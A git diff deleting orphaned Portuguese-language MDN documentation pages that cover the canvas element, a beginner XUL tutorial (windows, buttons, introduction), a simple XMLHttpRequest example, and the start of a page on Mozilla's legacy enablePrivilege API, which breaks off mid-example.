-<h2 id="O_Elemento_&lt;canvas>">O Elemento <code>&lt;canvas&gt;</code></h2>
-<p>Vamos iniciar este tutorial olhando para o elemento <code>&lt;canvas&gt;</code>.</p>
-<pre>&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;canvas&gt;
-</pre>
-<p>Isto se parece com o elemento <code>&lt;img&gt;</code>, a única diferença é que não tem os atributos <code>src</code> e <code>alt</code>. O elemento <code>&lt;canvas&gt;</code> tem apenas dois atriburos - <strong>width</strong> e <strong>height</strong>. Estes são opcionais e podem ser mudados usando propriedades do <a href="/pt/DOM" title="pt/DOM">DOM</a>. Quando não configurados os valores de width e height, a largura será de <strong>300 pixels</strong> e a altura será de <strong>150 pixels</strong>. O elemento pode ser redimensionado árbitrariamente usando <a href="/pt/CSS" title="pt/CSS">CSS</a>, mas durante a renderização a imagem será redimensionada para preencher o tamanho total do elemento (Se a renderização parecer distorcida, tente mudar os valores de width e height do elemento <code>&lt;canvas&gt;</code>, e não via CSS).</p>
-<p>O atributo <code>id</code> não é específico do elemeto <code>&lt;canvas&gt;</code>, mas é um dos atributos padrão do HTML que pode ser aplicato à (quase) todos os elementos HTML. É sempre uma boa idéia adicionar o atributo <code>id</code> porque fica fácil de identificar o elemento no script.</p>
-<p>O elemento <code>&lt;canvas&gt;</code> pode ser estilizado como qualquer imagem normal (margem, borda, fundo, etc). estas estilizações não afetam o desenho real da imagem. Nós veremos mais adiante neste tutorial. Quando nenhuma regra é aplicada à <code>&lt;canvas&gt;</code>, ela será totalmente transparente.</p>
-<h3 id="Conteúdo_alternativo">Conteúdo alternativo</h3>
-<p>Por ser relativamente novo, o elemento <code>&lt;canvas&gt;</code> não foi implementado em alguns navegadores (como no IE, antes da versão 9), os precisamos definir um conteúdo alternativo para navegadores que não suportam a tag.</p>
-<p>Isto é muito fácil: nós apenas adicionamos o conteúdo alternativo dentro do elemento <code>&lt;canvas&gt;</code>. Navegadores que não suportam <code>&lt;canvas&gt;</code> irão ignorar o elemento e renderizar o conteúdo interno. Navegadores que suportam <code>&lt;canvas&gt;</code> irão ignorar o conteúdo interno e renderizar o elemento normalmente.</p>
-<p>Por exemplo, nós podemos adicionar uma descrição de texto do elemento ou adicionar uma imagem estática do conteúdo dinâmicamente renderizado. Parecerá assim:</p>
-<pre>&lt;canvas id="grafEstoque" width="150" height="150"&gt;
-  Preço atual do estoque: $3,15 +0,15
-&lt;/canvas&gt;
-
-&lt;canvas id="relogio" width="150" height="150"&gt;
-  &lt;img src="imagens/relogio.png" width="150" height="150" /&gt;
-&lt;/canvas&gt;
-</pre>
diff --git a/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html b/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html
deleted file mode 100644
index 8b2d6c8e5a..0000000000
--- a/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: Adicionando botões
-slug: orphaned/Tutorial_XUL/Adicionando_botões
-tags:
- - PrecisaDeRevisãoEditorial
- - Todas_as_Categorias
- - Tutorial_XUL
- - XUL
-original_slug: Tutorial_XUL/Adicionando_botões
----
-<p>
-</p>
-<h3 id="Adicionando_Bot.C3.B5es_a_uma_Janela" name="Adicionando_Bot.C3.B5es_a_uma_Janela"> Adicionando Botões a uma Janela </h3>
-<p>A janela que nós criamos não possuía nada, então ainda não é muito interessante. Nessa sessão, iremos adicionar dois botões, um botão "Find" e outro "Cancel". Iremos também aprender uma maneira simples de posicionar os botões na janela.
-</p><p>Como em HTML, XUL tem uma série de tags que podem ser usadas para criar UIs. A mais básica delas é a tag <code>{{ XULElem("button") }}</code>. Este elemento é usado para criar botões simples.
-</p><p>O elemento botão tem duas propriedades principais associadas a ele, uma <code>label</code> uma <code>image</code>. Você precisará ao menos de uma delas ou das duas para criar um botão simples. Portanto, um botão pode ter apenas uma label (texto), uma imagem ou os dois juntos. Botões são geralmente usados para comandos OK e Cancel numa caixa de diálogo, por exemplo. Vale lembrar que não haverá erro caso não seja colocado nem uma label ou uma imagem, apenas o botão ficará em branco o que não é muito comum em interfaces.
-</p>
-<h4 id="Sintaxe_dos_Bot.C3.B5es" name="Sintaxe_dos_Bot.C3.B5es"> Sintaxe dos Botões </h4>
-<p>A tag <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:button">button</a></code> tem a seguinte sintaxe:
-</p>
-<pre>&lt;button
- id="identifier"
- class="dialog"
- label="OK"
- image="images/image.jpg"
- disabled="true"
- accesskey="t"/&gt;
-</pre>
-<p>Os atributos a seguir são todos opcionais:
-</p>
-<dl><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:id">id</a> </dt><dd> Um identificador único para o botão. Como já dissemos em sessões anteriores, muitos elementos terão esse identificador. Você deverá usar este atributo caso deseje referenciar o botão em um CSS ou script. Entretanto, é aconselhável que você coloque o atributo id mesmo que não vá referenciar o botão em nenhum lugar.
-</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:class">class</a> </dt><dd> A classe do botão. Tem o mesmo efeito do atributo "class" em HTML, usado para CSS. Neste caso, o valor <code>dialog</code> é usado.
-</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:label">label</a> </dt><dd> O texto que irá aparecer dentro do botão. Se for deixado em branco ou não for especificado, nenhum texto irá aparecer.
-</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:image">image</a> </dt><dd> A URL da imagem que aparecerá no botão. Se for deixado em branco ou não for especificado, nenhuma imagem irá aparecer. Você também pode especificar a imagem através da propriedade CSS <code><a href="pt/CSS/list-style-image">list-style-image</a></code>.
-</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:disabled">disabled</a> </dt><dd> Se este atributo for setado como <code>true</code>, o botão ficará desabilitado. Se um botão está desabilitado, as funções que ele possui não poderão ser executadas. O default para esta propriedade é o botão habilitado. Você também pode trocar o estado do botão com <a href="pt/JavaScript">JavaScript</a>.
-</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:accesskey">accesskey</a> </dt><dd> Esta propriedade designa uma letra como tecla de atalho. A letra especificada geralmente sublinhada no texto do botão. Caso não haja a letra especificada como atalho no texto escrito no atributo "label", a letra aparecerá no final do texto, entre parênteses. Quando o usuário pressionar a tecla ALT (ou a tecla similar em outras plataformas) e a letra de atalho, o botão será acionado.
-</dd></dl>
-<p>O botão possui diversas outras propriedades que podem ser vistas no link <a href="pt/XUL_Tutorial/More_Button_Features">Mais propriedades</a>.
-</p>
-<h4 id="Alguns_exemplos_de_bot.C3.B5es" name="Alguns_exemplos_de_bot.C3.B5es"> Alguns exemplos de botões </h4>
-<p><a class="external" href="http://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">"Codigo Fonte"</a> : <a class="external" href="http://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Visualizar</a>
-</p>
-<div class="float-right"><img alt="Image:buttons1.png"></div>
-<pre>&lt;button label="Normal"/&gt;
-&lt;button label="Disabled" disabled="true"/&gt;
-</pre>
-<p>O exemplo acima irá gerar os botões da imagem ao lado. O primeiro é um botã normal. O segundo está desabilitado, por isso aparece em tom de cinza.
-</p><p>Vamos começar criando um simples botão "Find", para nosso aplicativo de encontrar arquivos. O código abaixo mostra como fazer isso.
-</p>
-<pre>&lt;button id="find-button" label="Find"/&gt;
-</pre>
-<div class="note">Note que o Firefox não permite a você abrir janelas chrome de páginas Web, por isso os links "Visualizar" abrem em janelas normais do browser. Por esse motivo, os botões ocuparão toda a tela. Você pode adicionar o atributo align="start" na tag window para prevenir isso.</div>
-<div class="highlight">
-<h5 id="O_exemplo_findfile.xul" name="O_exemplo_findfile.xul"> O exemplo findfile.xul </h5>
-<p>Vamos adicionar o código acima ao arquivo findfile.xul criado na sessão anterior. O código precisa se inserido entre as tags <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a></code>. O código a ser adicionado está exibido em vermelho, abaixo:
-</p>
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="<a class=" external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
-&lt;window
- id="findfile-window"
- title="Find Files"
- orient="horizontal"
- xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
-
- <span class="highlightred">&lt;button id="find-button" label="Find"/&gt;</span>
- <span class="highlightred">&lt;button id="cancel-button" label="Cancel"/&gt;</span>
-
-&lt;/window&gt;
-</pre>
-<div class="float-right"><img alt="Image:buttons2.png"></div>
-Você irá notar que o botão "Cancel" foi adicionado. Foi dado à janela uma orientação horizontal fazendo com que os botões apareçam um ao lado do outro. Se você abrir o arquivo no Mozilla, você deverá ter alguma coisa parecida como a imagem ao lado.</div>
-<div class="note">Note que é aconselhável não colocar as labels diretamento no arquivo XUL. Devemos usar <a href="pt/XUL_Tutorial/Localization">entidades de forma que o texto seja facilmente traduzido</a>.</div>
-<p>Na próxima sessão, iremos encontrar como
-</p><p>In the next section, we will find out how to <a href="pt/XUL_Tutorial/Adding_Labels_and_Images"> adicionar labels e imagens em um arquivo XUL</a>. </p><p><small>See also <a href="pt/XUL_Tutorial/More_Button_Features">more button fetaures</a></small>
-</p><p>{{ PreviousNext("XUL Tutorial:Creating a Window", "XUL Tutorial:Adding Labels and Images") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/XUL_Tutorial/Adding_Buttons", "es": "es/Tutorial_de_XUL/A\u00f1adiendo_botones", "ja": "ja/XUL_Tutorial/Adding_Buttons", "pl": "pl/Kurs_XUL/Dodawanie_przycisk\u00f3w" } ) }}
diff --git a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html
deleted file mode 100644
index d312e82e58..0000000000
--- a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: Criando uma janela
-slug: orphaned/Tutorial_XUL/Criando_uma_janela
-tags:
- - PrecisaDeAtualização
- - Todas_as_Categorias
- - Tutorial_XUL
- - XUL
-original_slug: Tutorial_XUL/Criando_uma_janela
----
-<p> </p>
-
-<h3 id="Criando_uma_aplica.C3.A7.C3.A3o_XUL" name="Criando_uma_aplica.C3.A7.C3.A3o_XUL">Criando uma aplicação XUL</h3>
-
-<p>Uma aplicação XUL pode ter qualquer nome mas ela precisa necessariamente ter a extensão <strong>.xul</strong>. A aplicação XUL mais simples tem a seguinte estrutura:</p>
-
-<pre>&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
-
-&lt;window
- id="findfile-window"
- title="Find Files"
- orient="horizontal"
- xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-&lt;!-- Other elements go here --&gt;
-&lt;/window&gt;
-</pre>
-
-<p>Esta janela não irá fazer nada já que ela não contém nenhum elemento de interação com o usuário (UI). Estes serão adicionados na próxima sessão. Abaixo segue uma explicação de cada linha do código acima:</p>
-
-<ol>
- <li><strong>&lt;?xml version="1.0"?&gt;</strong><br>
- Esta linha serve simplesmente para declarar que este é um arquivo XML. Você normalmente colocará essa linha no topo de cada arquivo XUL assim como você coloca a tag HTML em cada arquivo HTML.</li>
- <li><strong>&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</strong><br>
- Esta linha é usada para especificar o arquivo CSS que será usado pelo arquivo. Esta é a sintaxe que os arquivos XML usam para importar folhas de estilo. Nesse caso, importamos os CSS que se encontram na pasta global do pacote de skins. Repare que não foi designado um arquivo específico então o Mozilla irá determinar qual arquivo CSS será utilzado. Nesse caso, o arquivo global.css será selecionado. Este arquivo contém todas as declarações padrão para todos os elementos XUL. Pelo fato do XML não ter a capacidade de definir como os elementos serão exibidos, o CSS indica como fazê-lo. Geralmente, você colocará esta linha no topo de todos os arquivos XUL. Você poderá também importar um arquivo externo usando a mesma sintaxe. Note que você normalmente irá importar o CSS global de seu próprio arquivo.</li>
- <li><strong>&lt;window</strong><br>
- Esta linha declara que você está descrevendo um <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a>. Cada janela de UI é descrita em um arquivo separado. Esta tag é semelhante à tag BODY do HTML, que engloba o conteúdo do arquivo. <a href="pt/XUL/window#Attributes">Muitos atributos</a> podem ser colocados na tag <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a> -- nesse caso, são quatro. Neste exemplo, cada atributo é colocado em uma linha separada, mas não é preciso seguir essa regra.</li>
- <li><strong>id="findfile-window"</strong><br>
- O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:id">id</a></code> é usado como um identificador que é usado por scripts para ser rerefenciado. Normalmente é colocado um atributo <code>id</code> em todos os elementos. Você pode dar qualquer nome aos atributos, mas de preferência dê nomes que identifiquem para o que o atributo serve.</li>
- <li><strong>title="Find Files"</strong><br>
- O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:title">title</a></code> descreve o texto que irá aparecer na barra de título da janela quando ela é exibida. Nesse caso, o texto 'Find Files' irá aparecer.</li>
- <li><strong>orient="horizontal"</strong><br>
- O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:orient">orient</a></code> especifica o posicionamento dos itens na janela. O valor <code>horizontal</code> indica que os itens devem aparecer dispostos horizontalmente na janela. Você pode também usar o valor <code>vertical</code> para designar que os elementos aparecerão em forma de colunas. Como este é o valor default, você pode optar por não escrever esse atributo caso deseje que os elementos aparecam na vertical.</li>
- <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;</strong><br>
- Esta linha declara o namespace para o XUL, que você deve colocar em uma elemento janela de forma a indicar que todos os seus 'filhos' são XUL. Note que essa URL não é exibida para você. Mozilla irá reconhecer essa URL internamente.</li>
- <li><strong><span class="nowiki">&lt;!-- Other elements go here --&gt;</span></strong><br>
- Você pode substituir esse bloco de comentários por outros elementos (botões, menus e outros componentes de UI) que aparecerão na janela. Nós iremos adicionar alguns deles na próxima sessão.</li>
- <li><strong>&lt;/window&gt;</strong><br>
- E finalmente, precisamos fechar a tag <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a> no final do arquivo.</li>
-</ol>
-
-<h3 id="Abrindo_uma_janela" name="Abrindo_uma_janela">Abrindo uma janela</h3>
-
-<p>Para abrir uma janela XUL, existem vários métodos que podem ser usados. Se você estiver apenas na fase de desenvolvimento, você pode simplesmente escrever a URL (como um chrome:, file: or outros tipos de URL) na barra de endereços do Mozilla. Você pode também dar um duplo-clique no nome do arquivo em seu diretório, assuminfo que os arquivos XUL estão associados com o Mozilla. A janela XUL irá aparecer na janela do browser como se fosse uma nova janela, mas isso é o suficiente durante o estágio de desevolvimento.</p>
-
-<p>A forma correta, é claro, é abrir a janela usando javascript. Nenhuma sintaxe nova é necessária, podendo ser usada a função <a href="pt/DOM/window.open">window.open()</a> como se fosse uma documento <a href="pt/HTML">HTML</a>. Entretanto, um parâmetro adicional com o valor 'chrome' é necessário para indicar ao browser será aberto um documento <a href="pt/DOM/window.open#Window_functionality_features">chrome</a>. Isso ira abrir a janela sem as barras de ferramenta e os menus. A sintaxe é descrita abaixo:</p>
-
-<pre>window.open(url,windowname,flags);
-
-onde o parâmetro 'flags' recebe o valor "chrome", como no exemplo:
-
-window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
-</pre>
-
-<div class="highlight">
-<h5 id="O_exemplo_findfile.xul" name="O_exemplo_findfile.xul">O exemplo findfile.xul</h5>
-
-<p>Vamos começar criando um arquivo básico para a janela 'Find File'. Crie um arquivo chamado findfile.xul e o coloque no diretório especificado no arquivo findfile.manifest (nós o criamos na sessão anterior). Adicione o exemplo mostrado anteriormente ao arquivo e salve-o.</p>
-</div>
-
-<p>Você pode usar o parâmetro da linha de comando '-chrome' para especificar o arquivo XUL a ser aberto quando o Mozilla iniciar. Se não for especificado nenhum arquivo, a janela padrão será aberta. (Normalmente a janela do browser.) Por exemplo, podemos abrir a janela 'Find Files' das seguintes formas:</p>
-
-<pre>mozilla -chrome chrome://findfile/content/findfile.xul
-
-mozilla -chrome resource:/chrome/findfile/content/findfile.xul
-</pre>
-
-<p>Se você executar este comando a partir de uma linha de comando (assumindo que você tem uma na sua plataforma), a janela 'Find Files' irá abrir como janela padrão, ao invés da janela do browser. Por nós ainda não termos inserido nenhum elemento de interação na janela, você não verá a janela aparecendo. Iremos adicionar alguns elementos na próxima sessão.</p>
-
-<p>Para ver o efeito, o link a seguir irá abrir a janela de favoritos:</p>
-
-<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a>
-
-<span class="highlightred">Se você estiver usando o Firefox, utilize o link abaixo</span>
-firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a>
-</pre>
-
-<p>O argumento '-chrome' não dá ao arquivo nenhum privilégio adicional. Ao contrário, ele abre o arquivo especificado como uma aba, sem barra de endereço ou menus. Apenas URL chromes tem privilégios adicionais.</p>
-
-<div class="note">No link <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a> você encontra um editor XUL que permite que você escreva códigos XUL e veja os resultados em tempo real sem o uso do Mozilla!</div>
diff --git a/files/pt-pt/orphaned/tutorial_xul/index.html b/files/pt-pt/orphaned/tutorial_xul/index.html
deleted file mode 100644
index d614b01f57..0000000000
--- a/files/pt-pt/orphaned/tutorial_xul/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Tutorial XUL
-slug: orphaned/Tutorial_XUL
-tags:
- - Todas_as_Categorias
- - Tutorial_XUL
- - XUL
-original_slug: Tutorial_XUL
----
-<p> </p>
-
-<p><br>
- Este tutorial descreve <a href="pt/XUL">XUL</a>, a Linguagem <a href="pt/XML">XML</a> de Interface de Usuário. Esta linguagem foi criada para aplicações Mozilla e é usada para descrever sua interface de usuário.</p>
-
-<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3>
-
-<ul>
- <li><a href="pt/Tutorial_XUL/Introdu%c3%a7%c3%a3o">Introdução</a></li>
- <li><a href="pt/Tutorial_XUL/Estrutura_XUL">Estrutura XUL</a></li>
- <li><a href="pt/Tutorial_XUL/A_URL_Chrome">A URL Chrome</a></li>
- <li><a href="pt/Tutorial_XUL/Arquivos_de_manifesto">Arquivos de manifesto</a></li>
-</ul>
-
-<h3 id="Elementos_Simples" name="Elementos_Simples">Elementos Simples</h3>
-
-<ul>
- <li><a href="pt/Tutorial_XUL/Criando_uma_janela">Criando uma janela</a></li>
- <li><a href="pt/Tutorial_XUL/Adicionando_bot%c3%b5es">Adicionando botões</a></li>
- <li><a href="pt/Tutorial_XUL/Adicionando_etiquetas_e_imagens">Adicionando etiquetas e imagens</a></li>
- <li><a href="pt/Tutorial_XUL/Controles_de_entrada">Controles de entrada</a></li>
- <li><a href="pt/Tutorial_XUL/Controles_listas">Controles listas</a></li>
- <li><a href="pt/Tutorial_XUL/Adicionando_elementos_HTML">Adicionando elementos HTML</a></li>
- <li><a href="pt/Tutorial_XUL/Usando_Espa%c3%a7adores">Usando espaçadores</a></li>
- <li><a href="pt/Tutorial_XUL/Mais_caracter%c3%adsticas_do_bot%c3%a3o">Mais características do botão</a></li>
-</ul>
-
-<div class="note">
-<p>Este tutorial de XUL foi criado originalmente por <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>. Deu-nos a permissão de usá-lo no <abbr title="Mozilla Developer Center">MDC</abbr>.</p>
-</div>
-
-<div class="originaldocinfo">
-<h5 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h5>
-
-<ul>
- <li>Autor: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li>
- <li>Última Atualização: 03/06/2005</li>
- <li>Informações sobre Copyright: © 1999-2005 XULPlanet.com</li>
-</ul>
-</div>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/orphaned/tutorial_xul/introdução/index.html b/files/pt-pt/orphaned/tutorial_xul/introdução/index.html
deleted file mode 100644
index 9549530f6f..0000000000
--- a/files/pt-pt/orphaned/tutorial_xul/introdução/index.html
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: Introdução
-slug: orphaned/Tutorial_XUL/Introdução
-tags:
- - PrecisaDeAtualização
- - Todas_as_Categorias
- - Tutorial_XUL
- - XUL
-original_slug: Tutorial_XUL/Introdução
----
-<p> </p>
-
-<p>Este tutorial guiará você no aprendizado de <a href="pt/XUL">XUL</a> (<a href="pt/XML">XML</a> User Interface Language), que é uma linguagem multi-plataforma para descrever interfaces (usuário) de aplicações.</p>
-
-<p>Este tutorial demonstrará a criação de uma interface simples de procura de arquivos, similar à provida pelo Sherlock do Macintosh ou o diálogo de procura de arquivos no Windows. Note que só será criada a interface do usuário, junto com algumas funcionalidades limitadas. A procura real por arquivos não será implementada. Uma linha azul aparecerá à esquerda de um parágrafo quando o diálogo de procura de arquivos tiver sido modificado. Você pode seguir através dessas sessões.</p>
-
-<h3 id="O_que_.C3.A9_XUL_e_por_que_foi_criado.3F" name="O_que_.C3.A9_XUL_e_por_que_foi_criado.3F">O que é XUL e por que foi criado?</h3>
-
-<p><abbr title="XML User-interface Language">XUL</abbr> (pronouncia-se zúl, quase como azul - ou cool, em inglês) foi criado para tornar o desenvolvimento do navegador Mozilla mais fácil e rápido. É uma linguagem <abbr title="eXtensible Markup Language">XML</abbr> de modo que todas as características disponíveis para XML estão também disponíveis para XUL.</p>
-
-<p>A maioria das aplicações precisa ser desenvolvida usando características de uma plataforma específica, o que torna a construção de software multi-plataforma cara e demorada. Isso pode não ser importante para alguns, mas usuários podem desejar usar uma aplicação em outros dispositivos tais como computadores de mão.</p>
-
-<p>Um número de soluções multi-plataformas foi desenvolvido no passado. Java, por exemplo, tem portabilidade como um ponto chave. XUL é um projeto de linguagem semelhante especificamente projetado para a criação de interfaces de usuário portáteis.</p>
-
-<p>É levado um longo tempo para construir uma aplicação, mesmo para uma só plataforma. O tempo necessário para compilar e depurar pode ser longo. Com XUL, uma interface pode ser implementada e modificada rápida e facilmente.</p>
-
-<p>XUL tem todas as vantagens de outras linguagens XML. Por exemplo, <abbr title="eXtensible HyperText Markup Language">XHTML</abbr> ou outras linguagens XML tais como o <abbr title="Math Markup Language">MathML</abbr> ou o <abbr title="Scalable Vector Graphics">SVG</abbr> podem ser inseridas nela. Além disso, texto apresentado com XUL é facilmente localizável, o que significa que pode ser traduzido para outros idiomas com pouco esforço. Folhas de estilo podem ser aplicadas para modificar a aparência da interface de usuário (como os skins ou características de temas no WinAmp ou alguns gerenciadores de janelas).</p>
-
-<h3 id="Que_esp.C3.A9cies_de_interfaces_para_usu.C3.A1rio_podem_ser_feitas_com_XUL.3F" name="Que_esp.C3.A9cies_de_interfaces_para_usu.C3.A1rio_podem_ser_feitas_com_XUL.3F">Que espécies de interfaces para usuário podem ser feitas com XUL?</h3>
-
-<p>XUL provê a capacidade de criar a maioria dos elementos encontrados em interfaces gráficas modernas. É genérico o suficiente para que possa ser aplicado às necessidades especiais de certos dispositivos e poderoso o suficiente para que desenvolvedores possam criar interfaces sofisticadas com ele.</p>
-
-<p>Alguns elementos que podem ser criados são:</p>
-
-<ul>
- <li>Controles de entrada tais como caixas de texto e de checagens (textboxes e checkboxes)</li>
- <li>Barras de ferramentas com botões ou outros conteúdos</li>
- <li>Menus em uma barra de menus or menus flutuantes (pop ups)</li>
- <li>Diálogos organizados em abas</li>
- <li>Árvores para informação hierárquica ou tabular</li>
- <li>Atalhos de teclado</li>
-</ul>
-
-<p>O conteúdo exibido pode ser criado a partir de arquivos XUL ou com dados vindos de uma fonte de dados (datasource). No Mozilla, tais fontes de dados incluem uma caixa de correios de usuário, seus marcadores e resultados de buscas. O conteúdo de menus, árvores e outros elementos pode ser habitado com esses dados, ou com seus próprios dados supridos por um arquivo RDF.</p>
-
-<p>O conteúdo XUL pode ser lido de um arquivo local ou de um site remoto. Pode também ser empacotado em um instalador que o usuário copie através de download e instale. Este último método dá à aplicação privilégios adicionais, tais como leitura de arquivos locais e modificação das preferências do usuário.</p>
-
-<p>XUL é atualmente armazenado em arquivos com a extensão .xul. Você pode abrir um arquivo XUL com o Mozilla tanto como com qualquer outro arquivo, usando o comando Abrir Arquivo do menu Arquivo ou escrevendo a URL na barra de endereços.</p>
-
-<p>Quando lendo conteúdo XUL de um site remoto, você deve configurar seu servidor web para enviar arquivos XUL com o tipo de conteúdo 'application/vnd.mozilla.xul+xml'.</p>
-
-<h3 id="O_que_preciso_saber_para_usar_este_tutorial.3F" name="O_que_preciso_saber_para_usar_este_tutorial.3F">O que preciso saber para usar este tutorial?</h3>
-
-<p>Você precisa ter um conhecimento de <a href="pt/HTML">HTML</a> e um mínimo de conhecimento básico de <a href="pt/XML">XML</a> e <a href="pt/CSS">CSS</a>. Aqui estão algumas normas para manter em mente:</p>
-
-<ul>
- <li>Todos os elementos e atributos XUL precisam ser escritos em caixa baixa (todos minúsculos), visto que XML é sensível à caixa (diferente de HTML).</li>
- <li>Valores de atributo em XML devem ser colocados entre aspas, mesmo que sejam números.</li>
- <li>Arquivos XUL são usualmente divididos em quatro arquivos, um deles para esboço e elementos, para declarações de estilo, para declarações de entidade (usadas para localização) e para scripts. Adicionalmente, você pode ter arquivos extra para imagens ou para dados específicos da plataforma.</li>
-</ul>
-
-<p>XUL é suportado no Mozilla e em navegadores baseados nele, tais como o Netscape 6 ou posterior e Mozilla Firefox. Devido a várias mudanças na sintaxe XUL através do tempo, você deverá pegar a última versão para os exemplos funcionarem corretamente.</p>
diff --git a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html
deleted file mode 100644
index 95614259ae..0000000000
--- a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Um pequeno exemplo usando AJAX
-slug: orphaned/Um_pequeno_exemplo_usando_AJAX
-tags:
- - AJAX
- - AJAX:Exemplos
- - Todas_as_Categorias
-original_slug: Um_pequeno_exemplo_usando_AJAX
----
-<p>
-</p><p>Exemplo de uma simples requisição usando XmlHttpRequest, que retorna o
-conteúdo de uma página do mesmo domínio.
-</p>
-<pre class="eval">// Esta função será chamada pelo componente XmlHttpRequest
-function processReqChange ()
-{
- var s = 'Status: \t' + request.status + '\n';
- s += 'StatusText: \t' + request.statusText + '\n';
- s += 'ResponseText: \t' + request.responseText;
- // codigo 4 para 'status complete'
- if (request.readyState == 4 &amp;&amp; request.status == 200)
- alert(s);
-}
-// Se o endereco que se deseja acessar assincronamente
-// for um script, ele poderá receber parâmetros,
-// e uma forma simples de enviar parâmetros é pela própria url
-// var url = 'meu_script.php?var1=par1'
-// Se você tentar acessar uma página de outro domínio (e.g: <a class=" external" href="http://mozilla.org">http://mozilla.org</a>)
-// o firefox vai levantar uma exeção, "Permission denied".
-var url = 'index.html';
-var request = new XMLHttpRequest();
-request.onreadystatechange = processReqChange;
-request.open("GET", url, true);
-request.send("");
-</pre>
diff --git a/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html b/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html
deleted file mode 100644
index 4ea6bc12ed..0000000000
--- a/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: Usando privilégios expandidos em navegadores Mozilla
-slug: orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla
-tags:
- - JavaScript
- - Todas_as_Categorias
-original_slug: Usando_privilégios_expandidos_em_navegadores_Mozilla
----
-<p>Navegadores Mozilla dispõem de funções para segurança em Javascript similares às usadas para segurança em Java e Javascript no Netscape Communicator 4.x.
-</p><p>Em casos mais simples, o código pede permissão para habilitar o privilégio que possibilita o acesso ao alvo através de scripts. Por exemplo:
-</p>
-<pre>netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
-
-//ou:
-
-netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalFileRead");
-</pre>
-<p>Quando este método é invocado, se a assinatura for válida (caso seja um script assinado) ou codebase principal esteja habilitado, os privilégios expandidos são concedidos. Caso o acesso não seja por meio de uma destas formas, por exemplo, utilizando um arquivo local através da url <code><a class=" external" rel="freelink">file://</a></code>, será exibida uma caixa de diálogo perguntando se o usuário permite que o script use estes privilégios e também se deseja memorizar esta decisão. Note que no segundo exemplo o script solicita dois privilégios, porém exibe apenas uma caixa de diálogo descrevendo-os.
-</p><p>Os privilégios são concedidos apenas no escopo da função que os solicitou. Este escopo inclui as funções chamadas por esta função. Quando a função termina, os privilégios não são mais aplicáveis.
-</p>
-<h3 id="Exemplo" name="Exemplo"> Exemplo </h3>
-<p>A função <code>b</code> solicita privilégios expandidos, e somente comandos e funções chamados no escopo da mesma após a solicitação têm privilégios concedidos. É uma boa prática habilitar privilégios somente quando necessário, e após o uso desabilitá-los. Isso ajuda a proteger o computador do usuário de seções <i>perigosas</i> no código.
-</p>
-<pre>function mostraPrivilegios(i) {
- try{
- if (history[0] != "") {
